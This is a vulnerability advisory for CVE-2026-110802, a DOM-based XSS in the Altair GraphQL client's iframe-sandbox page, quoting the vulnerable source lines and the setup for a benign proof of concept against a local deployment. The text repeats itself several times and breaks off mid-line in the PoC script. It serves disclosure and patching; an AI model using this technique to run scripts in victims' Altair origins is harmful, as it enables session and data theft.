CVE-2026-110802

Altair is a GraphQL client for all platforms. From 7.2.4 until 8.5.8, packages/altair-iframe-sandbox/src/main.ts reads plugin_sandbox_opts from the iframe-sandbox query string and passes attacker-controlled scriptUrls to injectScript() in packages/altair-core/src/utils/inject.ts, which creates script elements in the page. The intended parent iframe flow places the page in an iframe with sandbox allow-scripts and without allow-same-origin, but direct navigation to a crafted iframe-sandbox URL omits that isolation and executes the supplied script in the origin serving Altair. Exploitation requires a victim to open the crafted URL, and the resulting script can access script-readable storage and make same-origin requests according to the deployment's authentication and cookie controls. This issue is fixed in version 8.5.8.

Altair is a GraphQL client for all platforms. From 7.2.4 until 8.5.8, packages/altair-iframe-sandbox/src/main.ts reads plugin_sandbox_opts from the iframe-sandbox query string and passes attacker-controlled scriptUrls to injectScript() in packages/altair-core/src/utils/inject.ts, which creates script elements in the page. The intended parent iframe flow places the page in an iframe with sandbox allow-scripts and without allow-same-origin, but direct navigation to a crafted iframe-sandbox URL omits that isolation and executes the supplied script in the origin serving Altair. Exploitation requires a victim to open the crafted URL, and the resulting script can access script-readable storage and make same-origin requests according to the deployment's authentication and cookie controls. This issue is fixed in version 8.5.8.

Summary

Altair 8.5.7 accepts plugin configuration directly from the iframe-sandbox query string.

When plugin_sandbox_opts contains type: "scripts" and an attacker-controlled URL in scriptUrls, the sandbox page creates a classic <script src="..."> element and loads the supplied script.

In the intended plugin flow, this page runs inside an <iframe sandbox="allow-scripts"> without allow-same-origin, giving plugin code an opaque origin. However, if a victim opens the crafted sandbox URL directly, that iframe isolation is absent and the attacker-controlled script executes in the origin serving Altair, resulting in DOM-based cross-site scripting (XSS) / arbitrary JavaScript execution in the Altair hosting origin.

Exploitation requires the victim to open a crafted URL.

Details

The sandbox reads its configuration directly from window.location.search.

In packages/altair-iframe-sandbox/src/main.ts:

const searchParams = new URLSearchParams(window.location.search);
const sandboxType = searchParams.get('sandbox_type');

switch (sandboxType) {
  case 'plugin':
    handlePluginSandbox();
    break;
}

handlePluginSandbox() then parses plugin_sandbox_opts:

const searchParams = new URLSearchParams(window.location.search);
const pluginSandboxOptsStr = searchParams.get('plugin_sandbox_opts');

const pluginSandboxOpts = pluginSandboxOptsStr
  ? (JSON.parse(pluginSandboxOptsStr) as PluginParentWorkerOptions)
  : undefined;

The relevant validation only checks the plugin type:

if (pluginSandboxOpts.type !== 'scripts') {
  throw new Error('Invalid plugin option type provided!');
}

Values from scriptUrls are then passed to injectScript():

if (pluginSandboxOpts.scriptUrls) {
  for (const script of pluginSandboxOpts.scriptUrls) {
    await injectScript(script);
  }
}

The sink in packages/altair-core/src/utils/inject.ts is:

const script = document.createElement('script');
script.type = 'text/javascript';
script.src = url;
head.appendChild(script);

The intended parent flow relies on browser iframe sandboxing:

// NOTE: Don't add allow-same-origin to the sandbox attribute!
iframe.sandbox.add('allow-scripts');

Direct navigation to the sandbox URL does not have this parent iframe sandbox, so the injected script runs in the normal hosting origin.

The official middleware also clears CSP for paths identified as iframe-sandbox. This is not the root cause, but reduces the chance that a deployment-level CSP will block attacker-controlled external scripts when the default middleware behavior is used.

PoC

The following PoC is intentionally benign and demonstrates JavaScript execution in the Altair hosting origin.

1. Create a local Altair deployment

mkdir altair-local-test
cd altair-local-test
npm init -y
npm i express@5.2.1 altair-express-middleware@8.5.7 graphql@17.0.2 graphql-http@1.23.0

Create server.js:

const express = require("express");
const { altairExpress } = require("altair-express-middleware");
const { createHandler } = require("graphql-http/lib/use/express");
const { buildSchema } = require("graphql");

const app = express();

const schema = buildSchema(`
  type Query {
    hello: String
  }
`);

const root = {
  hello: () => "world",
};

app.all(
  "/api/graphql",
  createHandler({
    schema,
    rootValue: root,
  })
);

app.use(
  "/graphql",
  altairExpress({
    endpointURL: "/api/graphql",
    initialQuery: "{ hello }",
  })
);

app.listen(4000, () => {
  console.log("Altair UI: http://localhost:4000/graphql/");
  console.log("Sandbox:   http://localhost:4000/graphql/iframe-sandbox/");
});

Run:

node server.js

2. Host a benign script

Host the following as poc.js on a domain you control:

document.body.textContent = "";

const h1 = document.createElement("h1");
h1.textContent = "Altair iframe-sandbox PoC";

const p = document.createElement("p");
p.textContent = "Script executed in: " +…

Altair is a GraphQL client for all platforms. From 7.2.4 until 8.5.8, packages/altair-iframe-sandbox/src/main.ts reads plugin_sandbox_opts from the iframe-sandbox query string and passes attacker-controlled scriptUrls to injectScript() in packages/altair-core/src/utils/inject.ts, which creates script elements in the page. The intended parent iframe flow places the page in an iframe with sandbox allow-scripts and without allow-same-origin, but direct navigation to a crafted iframe-sandbox URL omits that isolation and executes the supplied script in the origin serving Altair. Exploitation requires a victim to open the crafted URL, and the resulting script can access script-readable storage and make same-origin requests according to the deployment's authentication and cookie controls. This issue is fixed in version 8.5.8.

Altair is a GraphQL client for all platforms. From 7.2.4 until 8.5.8, packages/altair-iframe-sandbox/src/main.ts reads plugin_sandbox_opts from the iframe-sandbox query string and passes attacker-controlled scriptUrls to injectScript() in packages/altair-core/src/utils/inject.ts, which creates script elements in the page. The intended parent iframe flow places the page in an iframe with sandbox allow-scripts and without allow-same-origin, but direct navigation to a crafted iframe-sandbox URL omits that isolation and executes the supplied script in the origin serving Altair. Exploitation requires a victim to open the crafted URL, and the resulting script can access script-readable storage and make same-origin requests according to the deployment's authentication and cookie controls. This issue is fixed in version 8.5.8.

Summary

Altair 8.5.7 accepts plugin configuration directly from the iframe-sandbox query string.

When plugin_sandbox_opts contains type: "scripts" and an attacker-controlled URL in scriptUrls, the sandbox page creates a classic <script src="..."> element and loads the supplied script.

In the intended plugin flow, this page runs inside an <iframe sandbox="allow-scripts"> without allow-same-origin, giving plugin code an opaque origin. However, if a victim opens the crafted sandbox URL directly, that iframe isolation is absent and the attacker-controlled script executes in the origin serving Altair, resulting in DOM-based cross-site scripting (XSS) / arbitrary JavaScript execution in the Altair hosting origin.

Exploitation requires the victim to open a crafted URL.

Details

The sandbox reads its configuration directly from window.location.search.

In packages/altair-iframe-sandbox/src/main.ts:

const searchParams = new URLSearchParams(window.location.search);
const sandboxType = searchParams.get('sandbox_type');

switch (sandboxType) {
  case 'plugin':
    handlePluginSandbox();
    break;
}

handlePluginSandbox() then parses plugin_sandbox_opts:

const searchParams = new URLSearchParams(window.location.search);
const pluginSandboxOptsStr = searchParams.get('plugin_sandbox_opts');

const pluginSandboxOpts = pluginSandboxOptsStr
  ? (JSON.parse(pluginSandboxOptsStr) as PluginParentWorkerOptions)
  : undefined;

The relevant validation only checks the plugin type:

if (pluginSandboxOpts.type !== 'scripts') {
  throw new Error('Invalid plugin option type provided!');
}

Values from scriptUrls are then passed to injectScript():

if (pluginSandboxOpts.scriptUrls) {
  for (const script of pluginSandboxOpts.scriptUrls) {
    await injectScript(script);
  }
}

The sink in packages/altair-core/src/utils/inject.ts is:

const script = document.createElement('script');
script.type = 'text/javascript';
script.src = url;
head.appendChild(script);

The intended parent flow relies on browser iframe sandboxing:

// NOTE: Don't add allow-same-origin to the sandbox attribute!
iframe.sandbox.add('allow-scripts');

Direct navigation to the sandbox URL does not have this parent iframe sandbox, so the injected script runs in the normal hosting origin.

The official middleware also clears CSP for paths identified as iframe-sandbox. This is not the root cause, but reduces the chance that a deployment-level CSP will block attacker-controlled external scripts when the default middleware behavior is used.

PoC

The following PoC is intentionally benign and demonstrates JavaScript execution in the Altair hosting origin.

1. Create a local Altair deployment

mkdir altair-local-test
cd altair-local-test
npm init -y
npm i express@5.2.1 altair-express-middleware@8.5.7 graphql@17.0.2 graphql-http@1.23.0

Create server.js:

const express = require("express");
const { altairExpress } = require("altair-express-middleware");
const { createHandler } = require("graphql-http/lib/use/express");
const { buildSchema } = require("graphql");

const app = express();

const schema = buildSchema(`
  type Query {
    hello: String
  }
`);

const root = {
  hello: () => "world",
};

app.all(
  "/api/graphql",
  createHandler({
    schema,
    rootValue: root,
  })
);

app.use(
  "/graphql",
  altairExpress({
    endpointURL: "/api/graphql",
    initialQuery: "{ hello }",
  })
);

app.listen(4000, () => {
  console.log("Altair UI: http://localhost:4000/graphql/");
  console.log("Sandbox:   http://localhost:4000/graphql/iframe-sandbox/");
});

Run:

node server.js

2. Host a benign script

Host the following as poc.js on a domain you control:

document.body.textContent = "";

const h1 = document.createElement("h1");
h1.textContent = "Altair iframe-sandbox PoC";

const p = document.createElement("p");
p.textContent = "Script executed in: " +…